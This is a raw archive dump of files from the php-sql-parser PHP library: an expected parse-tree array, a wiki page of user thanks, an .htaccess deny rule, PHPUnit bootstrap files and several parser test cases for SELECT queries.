                    [sub_tree] => 
                    [position] => 290
                )

            [2] => Array
                (
                    [expr_type] => table
                    [table] => t3
                    [alias] => Array
                        (
                            [as] => 1
                            [name] => tX
                            [base_expr] => as tX
                            [position] => 314
                        )

                    [join_type] => JOIN
                    [ref_type] => ON
                    [ref_clause] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => colref
                                    [base_expr] => tX.c1
                                    [sub_tree] => 
                                    [position] => 323
                                )

                            [1] => Array
                                (
                                    [expr_type] => operator
                                    [base_expr] => =
                                    [sub_tree] => 
                                    [position] => 329
                                )

                            [2] => Array
                                (
                                    [expr_type] => colref
                                    [base_expr] => the_t1.c1
                                    [sub_tree] => 
                                    [position] => 331
                                )

                        )

                    [base_expr] => t3 as tX ON tX.c1 = the_t1.c1
                    [sub_tree] => 
                    [position] => 311
                )

            [3] => Array
                (
                    [expr_type] => table
                    [table] => t4
                    [alias] => Array
                        (
                            [as] => 
                            [name] => t4_x
                            [base_expr] => t4_x
                            [position] => 349
                        )

                    [join_type] => JOIN
                    [ref_type] => USING
                    [ref_clause] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => colref
                                    [base_expr] => x
                                    [sub_tree] => 
                                    [position] => 360
                                )

                        )

                    [base_expr] => t4 t4_x using(x)
                    [sub_tree] => 
                    [position] => 346
                )

        )

    [WHERE] => Array
        (
            [0] => Array
                (
                    [expr_type] => colref
                    [base_expr] => c1
                    [sub_tree] => 
                    [position] => 369
                )

            [1] => Array
                (
                    [expr_type] => operator
                    [base_expr] => =
                    [sub_tree] => 
                    [position] => 372
                )

            [2] => Array
                (
                    [expr_type] => const
                    [base_expr] => 1
                    [sub_tree] => 
                    [position] => 374
                )

            [3] => Array
                (
                    [expr_type] => operator
                    [base_expr] => and
                    [sub_tree] => 
                    [position] => 376
                )

            [4] => Array
                (
                    [expr_type] => colref
                    [base_expr] => c2
                    [sub_tree] => 
                    [position] => 380
                )

            [5] => Array
                (
                    [expr_type] => operator
                    [base_expr] => in
                    [sub_tree] => 
                    [position] => 383
                )

            [6] => Array
                (
                    [expr_type] => in-list
                    [base_expr] => (1,2,3, "apple")
                    [sub_tree] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 1
                                    [sub_tree] => 
                                    [position] => 387
                                )

                            [1] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 2
                                    [sub_tree] => 
                                    [position] => 389
                                )

                            [2] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 3
                                    [sub_tree] => 
                                    [position] => 391
                                )

                            [3] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => "apple"
                                    [sub_tree] => 
                                    [position] => 394
                                )

                        )

                    [position] => 386
                )

            [7] => Array
                (
                    [expr_type] => operator
                    [base_expr] => and
                    [sub_tree] => 
                    [position] => 403
                )

            [8] => Array
                (
                    [expr_type] => reserved
                    [base_expr] => exists
                    [sub_tree] => 
                    [position] => 407
                )

            [9] => Array
                (
                    [expr_type] => subquery
                    [base_expr] => ( select 1 from some_other_table another_table where x > 1)
                    [sub_tree] => Array
                        (
                            [SELECT] => Array
                                (
                                    [0] => Array
                                        (
                                            [expr_type] => const
                                            [alias] => 
                                            [base_expr] => 1
                                            [sub_tree] => 
                                            [position] => 423
                                        )

                                )

                            [FROM] => Array
                                (
                                    [0] => Array
                                        (
                                            [expr_type] => table
                                            [table] => some_other_table
                                            [alias] => Array
                                                (
                                                    [as] => 
                                                    [name] => another_table
                                                    [base_expr] => another_table
                                                    [position] => 447
                                                )

                                            [join_type] => JOIN
                                            [ref_type] => 
                                            [ref_clause] => 
                                            [base_expr] => some_other_table another_table
                                            [sub_tree] => 
                                            [position] => 430
                                        )

                                )

                            [WHERE] => Array
                                (
                                    [0] => Array
                                        (
                                            [expr_type] => colref
                                            [base_expr] => x
                                            [sub_tree] => 
                                            [position] => 467
                                        )

                                    [1] => Array
                                        (
                                            [expr_type] => operator
                                            [base_expr] => >
                                            [sub_tree] => 
                                            [position] => 469
                                        )

                                    [2] => Array
                                        (
                                            [expr_type] => const
                                            [base_expr] => 1
                                            [sub_tree] => 
                                            [position] => 471
                                        )

                                )

                        )

                    [position] => 414
                )

            [10] => Array
                (
                    [expr_type] => operator
                    [base_expr] => and
                    [sub_tree] => 
                    [position] => 474
                )

            [11] => Array
                (
                    [expr_type] => bracket_expression
                    [base_expr] => ("zebra" = "orange" or 1 = 1)
                    [sub_tree] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => "zebra"
                                    [sub_tree] => 
                                    [position] => 479
                                )

                            [1] => Array
                                (
                                    [expr_type] => operator
                                    [base_expr] => =
                                    [sub_tree] => 
                                    [position] => 487
                                )

                            [2] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => "orange"
                                    [sub_tree] => 
                                    [position] => 489
                                )

                            [3] => Array
                                (
                                    [expr_type] => operator
                                    [base_expr] => or
                                    [sub_tree] => 
                                    [position] => 498
                                )

                            [4] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 1
                                    [sub_tree] => 
                                    [position] => 501
                                )

                            [5] => Array
                                (
                                    [expr_type] => operator
                                    [base_expr] => =
                                    [sub_tree] => 
                                    [position] => 503
                                )

                            [6] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 1
                                    [sub_tree] => 
                                    [position] => 505
                                )

                        )

                    [position] => 478
                )

        )

    [GROUP] => Array
        (
            [0] => Array
                (
                    [expr_type] => pos
                    [base_expr] => 1
                    [position] => 517
                )

            [1] => Array
                (
                    [expr_type] => pos
                    [base_expr] => 2
                    [position] => 520
                )

        )

    [HAVING] => Array
        (
            [0] => Array
                (
                    [expr_type] => aggregate_function
                    [base_expr] => sum
                    [sub_tree] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => colref
                                    [base_expr] => c2
                                    [sub_tree] => 
                                    [position] => 533
                                )

                        )

                    [position] => 529
                )

            [1] => Array
                (
                    [expr_type] => operator
                    [base_expr] => >
                    [sub_tree] => 
                    [position] => 537
                )

            [2] => Array
                (
                    [expr_type] => const
                    [base_expr] => 1
                    [sub_tree] => 
                    [position] => 539
                )

        )

    [ORDER] => Array
        (
            [0] => Array
                (
                    [expr_type] => pos
                    [base_expr] => 2
                    [direction] => ASC
                    [position] => 550
                )

            [1] => Array
                (
                    [expr_type] => alias
                    [base_expr] => c1
                    [direction] => DESC
                    [position] => 553
                )

        )

    [LIMIT] => Array
        (
            [offset] => 0
            [rowcount] => 10
        )

)
```PK     \c+
  
  5  vendor/greenlion/php-sql-parser/wiki/User-Response.mdnu [        ####  frank@frankmayer.net (7-Feb-2012)

:) Great !! Thanks for your work in this. Much appreciated!!

***

#### ben.swinburne (12-Mar-2012)

Thanks for your quick feedback and continued efforts with this project.

***

#### lucian.toza (2-Apr-2012)

Thanks for the quick reply and the quick fix also :) it works now

***

####  h.leithner (3-May-2012)

Works fine now thx

***

#### akayami (7-May-2012)

Thank you for this tool, it's really great piece of software that opens many possibilities for me. PHP was i need of a good SQL parser for a long time.
 
***

#### roborg (9-May-2012)

I've attached some pretty minor changes that (on my machine at least) make it over 10x faster... hope you find it useful - thanks for a great project!

***

#### korso3 (9-May-2012)

Many thanks on all your effort and fantastic answer.

***

#### adrian.partl (28-Aug-2012)

cool, seems to work. thx!

***

#### Marco64Th (30-Aug-2012)

It is very useful in the project i was working on.

The project was about modifying an existing open source software package (over 2.000 PHP files, almost 500 MySQL tables). The goal was to use the software (single installation/database) for multiple clients, where the data of each client needed to be totally seperated from other clients (no data leaks).

In order to achieve this most tables had to get a new client_id column and all queries needed to be modified to use the client_id when inserting new data or in the WHERE clause when retrieving data, etc..

Doing this the old fashioned way by going over all sources and editing all queries would be undoable and would probable have led to missed queries and by that data leaks. Fortunately the software was using 1 (actually 2) low-level routines for all access to the MySQL database. So the solution was to intercept all queries before they get executed, parse them, modify them, rebuild them and then execute.

The PHP-SQL parser & Creator gave me a good starting point for that.

***

#### vincent.vatelot (10-Sep-2012)

Works fine with /tags/2012-07-03 version. I use it in CodeIgniter very easily. Good work! :)

***

#### nababx (3-Feb-2013)

Great job! It would be even better if you had it on packagist... :) 

***

#### noisecapella (21-Nov-2013)

Thanks! I wanted to say that this has been very useful for my work and I appreciate the effort put into this. I use it to automatically filter, sort and paginate our SQL queries, and so far it works great!

***

#### phoffmann.plus (13-Jan-2014)

Wow, probably the fastest fix I've ever seen, thank you!

***

#### Henk.Blokpoel.Sr (22-Feb-2014)

Hi, thanks a lot! You guys are good & fast. Regards, Henk

***

#### Denis Morozov (05-Apr-2014)

Parser works like a charm! :)
Thank you!

***
PK     \Sʉ      .  vendor/greenlion/php-sql-parser/wiki/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \&L    0  vendor/greenlion/php-sql-parser/tests/readme.txtnu [        After installing the Composer dependencies you can execute

$PROJECT_ROOT/vendor/bin/phpunit --bootstrap $PROJECT_ROOT/tests/bootstrap.php <test case file name or dir name>

In Eclipse you have to set the bootstrap class within the PHPUnit preferences and you should
install a newer PHPUnit using PEAR and add this PEAR install directory as PEAR Library for 
PHPUnit (also within the Preferences of PHPUnit).PK     \    3  vendor/greenlion/php-sql-parser/tests/bootstrap.phpnu [        <?php

require_once dirname(__FILE__) . '/../vendor/autoload.php';

/**
 * Helper function for getting the expected array
 * from a file as serialized string.
 * Returns an unserialized value from the given file.
 *
 * @param String $filename
 */
function getExpectedValue($path, $filename, $unserialize = true) {
	$path = explode(DIRECTORY_SEPARATOR, $path);
	$content = file_get_contents(dirname(__FILE__) . "/expected/" . array_pop($path) . "/" . $filename);
	return ($unserialize ? unserialize($content) : $content);
}

function setExpectedValue($path, $filename, $data, $serialize = true) {
	$path = explode(DIRECTORY_SEPARATOR, $path);
	return file_put_contents(dirname(__FILE__) . "/expected/" . array_pop($path) . "/" . $filename, $serialize ? serialize($data) : $data );
}
PK     \{!    1  vendor/greenlion/php-sql-parser/tests/phpunit.phpnu [        <?php
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

if (!ini_get('date.timezone')) {
    ini_set('date.timezone', 'UTC');
}

foreach (array(__DIR__ . '/../../autoload.php', __DIR__ . '/../vendor/autoload.php', __DIR__ . '/vendor/autoload.php') as $file) {
    if (file_exists($file)) {
        define('PHPUNIT_COMPOSER_INSTALL', $file);
        break;
    }
}

unset($file);

if (!defined('PHPUNIT_COMPOSER_INSTALL')) {
    fwrite(STDERR,
        'You need to set up the project dependencies using the following commands:' . PHP_EOL .
        'wget http://getcomposer.org/composer.phar' . PHP_EOL .
        'php composer.phar install' . PHP_EOL
    );
    die(1);
}

require PHPUNIT_COMPOSER_INSTALL;

PHPUnit_TextUI_Command::main();
PK     \@6J>	  >	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue43Test.phpnu [        <?php
/**
 * issue43.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue43Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue43() {


        $parser = new PHPSQLParser();

        $sql = "SELECT title, introtext
        FROM kj9un_content
        WHERE `id`='159'";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue43.serialized');
        $this->assertEquals($expected, $p, 'problem with linefeed after tablename');

    }
}

PK     \    C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue148Test.phpnu [        <?php
/**
 * issue148Test.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;

class Issue148Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue148() {
		$sql = "SELECT REPLACE(NOW(), '-', '')";
		$parser = new PHPSQLParser($sql, true);
		$p = $parser->parsed;
		$expected = getExpectedValue(dirname(__FILE__), 'issue148.serialized');
		$this->assertEquals($expected, $p, 'REPLACE prevents position calculation');
    }
}
?>
PK     \.L
  
  D  vendor/greenlion/php-sql-parser/tests/cases/parser/variablesTest.phpnu [        <?php
/**
 * variables.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class variablesTest extends \PHPUnit\Framework\TestCase {
	
    public function testVariables() {
        $sql = "SELECT @t1, @`t2`, @t3, @t4 := @t1+@'t2'+@t3;";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'variables1.serialized');
        $this->assertEquals($expected, $p, 'user variables');


        $sql = "SELECT (@aa:=id) AS a, (@aa+3) AS b FROM tbl_name HAVING b=5;";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'variables2.serialized');
        $this->assertEquals($expected, $p, 'user variables');

    }
}

PK     \q    ?  vendor/greenlion/php-sql-parser/tests/cases/parser/fromTest.phpnu [        <?php
/**
 * fromTest.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class FromTest extends \PHPUnit\Framework\TestCase {

    public function testFrom1() {
        $parser = new PHPSQLParser();

        $sql = 'SELECT c1
                  from some_table an_alias
        	where d > 5;';
        $parser->parse($sql);
        $p = $parser->parsed;

        $this->assertEquals(3, count($p));
        $this->assertEquals(1, count($p['FROM']));
        $this->assertEquals('an_alias', $p['FROM'][0]['alias']['name']);
    }

    public function testFrom2() {
        $sql = 'select DISTINCT 1+2   c1, 1+ 2 as
        `c2`, sum(c2),sum(c3) as sum_c3,"Status" = CASE
                WHEN quantity > 0 THEN \'in stock\'
                ELSE \'out of stock\'
                END case_statement
        , t4.c1, (select c1+c2 from t1 inner_t1 limit 1) as subquery into @a1, @a2, @a3 from t1 the_t1 left outer join t2 using(c1,c2) join t3 as tX ON tX.c1 = the_t1.c1 join t4 t4_x using(x) where c1 = 1 and c2 in (1,2,3, "apple") and exists ( select 1 from some_other_table another_table where x > 1) and ("zebra" = "orange" or 1 = 1) group by 1, 2 having sum(c2) > 1 ORDER BY 2, c1 DESC LIMIT 0, 10 into outfile "/xyz" FOR UPDATE LOCK IN SHARE MODE';

        $parser = new PHPSQLParser($sql);
        $p=$parser->parsed;

        $this->assertEquals(8, count($p['SELECT']), 'seven selects');
        $this->assertEquals('DISTINCT', $p['SELECT'][0]['base_expr']);
        $this->assertEquals('c1', $p['SELECT'][1]['alias']['name']);
        $this->assertEquals('`c2`', $p['SELECT'][2]['alias']['name']);
        $this->assertEquals(false, $p['SELECT'][3]['alias'], 'no alias on sum(c2)');
        $this->assertEquals('sum_c3', $p['SELECT'][4]['alias']['name']);
        $this->assertEquals('case_statement', $p['SELECT'][5]['alias']['name'], 'case statement');
        $this->assertEquals(false, $p['SELECT'][6]['alias'], 'no alias on t4.c1');
        $this->assertEquals('subquery', $p['SELECT'][7]['alias']['name']);
    }
}
?>
PK     \XfA  A  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue54Test.phpnu [        <?php
/**
 * issue54.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue54Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue54() {


        $errorNumber = 0;

        function issue54ErrorHandler($errno, $errstr, $errfile, $errline) {
            global $errorNumber;
            $errorNumber = $errno;
            return true;
        }
        $old_error_handler = set_error_handler(__NAMESPACE__ . "\issue54ErrorHandler");

        $parser = new PHPSQLParser();
        $sql = "SELECT schema.`table`.c as b, sum(id + 5 * (5 + 5)) as p FROM schema.table WHERE a=1 GROUP BY c HAVING p > 10 ORDER BY p DESC";
        $parser->parse($sql);
        $p = $parser->parsed;

        $this->assertSame(0, $errorNumber, 'No notice should be thrown');
        $old_error_handler = set_error_handler($old_error_handler);

        $expected = getExpectedValue(dirname(__FILE__), 'issue54.serialized');
        $this->assertEquals($expected, $p, 'having clause and column references with schema/table/col parts.');

    }
}

PK     \F    D  vendor/greenlion/php-sql-parser/tests/cases/parser/positionsTest.phpnu [        <?php
/**
 * positions.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class positionsTest extends \PHPUnit\Framework\TestCase {
	
    public function testPositions() {
        $parser = new PHPSQLParser();

        $sql = 'SELECT colA hello From test t';
        $p = $parser->parse($sql, true);
        $this->assertEquals(7, $p['SELECT'][0]['position'], 'position of column');
        $this->assertEquals(12, $p['SELECT'][0]['alias']['position'], 'position of column alias');
        $this->assertEquals(23, $p['FROM'][0]['position'], 'position of table');
        $this->assertEquals(28, $p['FROM'][0]['alias']['position'], 'position of table alias');


        $sql = "SELECT colA hello From test\nt";
        $p = $parser->parse($sql, true);
        $this->assertEquals(7, $p['SELECT'][0]['position'], 'position of column');
        $this->assertEquals(12, $p['SELECT'][0]['alias']['position'], 'position of column alias');
        $this->assertEquals(23, $p['FROM'][0]['position'], 'position of table');
        $this->assertEquals(28, $p['FROM'][0]['alias']['position'], 'position of table alias');


        $sql = "SELECT a.*, c.*, u.users_name FROM SURVEYS as a  INNER JOIN SURVEYS_LANGUAGESETTINGS as c ON ( surveyls_survey_id = a.sid AND surveyls_language = a.language ) AND surveyls_survey_id=a.sid and surveyls_language=a.language  INNER JOIN USERS as u ON (u.uid=a.owner_id)  ORDER BY surveyls_title";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'positions1.serialized');
        $this->assertEquals($expected, $p, 'a long query with join and order clauses');

    }
}

PK     \Y	  	  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue322Test.phpnu [        <?php
/**
 * issue322.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
